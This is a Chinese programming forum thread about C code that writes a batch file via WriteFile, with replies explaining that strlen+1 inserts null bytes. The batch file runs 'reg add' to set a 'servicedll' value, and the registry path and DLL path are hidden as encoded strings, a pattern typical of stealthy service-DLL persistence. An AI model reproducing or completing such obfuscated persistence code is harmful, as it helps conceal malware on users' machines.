本帖最后由 twins2008121 于 2009-12-12 22:32:03 编辑

解决方案 »

  1.   

    WriteFile(hFile,sz1,strlen(sz1)+1,&dw,NULL); 为啥要strlen(sz1)+1啊?你要加空格将两个字符串分开?WriteFile(hFile,sz1,strlen(sz1),&dw,NULL); 
    WriteFile(hFile, " ",1,&dw,NULL); 
      

  2.   

    你说的是由于文件属性的原因?我想好像不是,修改文件属性我也试过了,好像不是,bat文件是创建成功了,但是运行却是无效的,需要手工打开这个bat文件进行保存,才能是有效的运行的,如果不打开文本进行保存就是无效的我想有什么代码可以代替文本内存保存的功能。
      

  3.   

    全部主要的代码如下:
    char *sz1="@echo off\r\n";
    char *sz2="reg.exe ";
    char *sz3="add ";
    char *sz4="qff4AubM+/wA/vvM+v4A9/b9Asvw5vDzAvrLAPLx8QL98wD8/fPx/PvwAvPL8ALx9fYAAvDL/fTw/u/+BAL988vv/vH++gLzAvHwnw==";
    char *sz5=" ";
    char *sz6="qbz1nw==";
    char *sz7=" servicedll ";
    char *sz8="qbzznw==";
    char *sz9=" REG_EXPAND_SZ ";
    char *sz10="qbwDnw==";
    char *sz11=" ";
    char *sz12="qQCpy/T2/QP89PDL8Obw8wL6sLHL/fTw/u/+BAL9870D+/uf";
    DWORD dw;
    FILE *fp;
    HANDLE hFile=CreateFile(("c:\\2.txt"),GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);WriteFile(hFile,sz1,strlen(sz1)+1,&dw,NULL);
    WriteFile(hFile,sz2,strlen(sz2)+1,&dw,NULL);
    WriteFile(hFile,sz3,strlen(sz3)+1,&dw,NULL);
    WriteFile(hFile,MyDecode(sz4)+1,strlen(MyDecode(sz4)+1)+1,&dw,NULL);
    WriteFile(hFile,sz5,strlen(sz5)+1,&dw,NULL);
    WriteFile(hFile,MyDecode(sz6)+1,strlen(MyDecode(sz6)+1)+1,&dw,NULL);
    WriteFile(hFile,sz7,strlen(sz7)+1,&dw,NULL);
    WriteFile(hFile,MyDecode(sz8)+1,strlen(MyDecode(sz8)+1)+1,&dw,NULL);
    WriteFile(hFile,sz9,strlen(sz9)+1,&dw,NULL);
    WriteFile(hFile,MyDecode(sz10)+1,strlen(MyDecode(sz10)+1)+1,&dw,NULL);
    WriteFile(hFile,sz11,strlen(sz11)+1,&dw,NULL);
    WriteFile(hFile,MyDecode(sz12)+1,strlen(MyDecode(sz12)+1)+1,&dw,NULL);
    CloseHandle(hFile);
    CopyFile("c:\\2.txt","c:\\2.bat",NULL);部分的字符串是经过加密的
      

  4.   


    char *sz1="ping 127.0.0.1 -t"; 
    DWORD dw; 
    HANDLE hFile=CreateFile(("c:\\2.txt"),GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);  WriteFile(hFile,sz1,strlen(sz1)+1,&dw,NULL);  CloseHandle(hFile); 
    CopyFile("c:\\2.txt","c:\\2.bat",NULL); 
    简化了一下楼主的代码,发现可以直接双击运行,希望可以给楼主一点提示。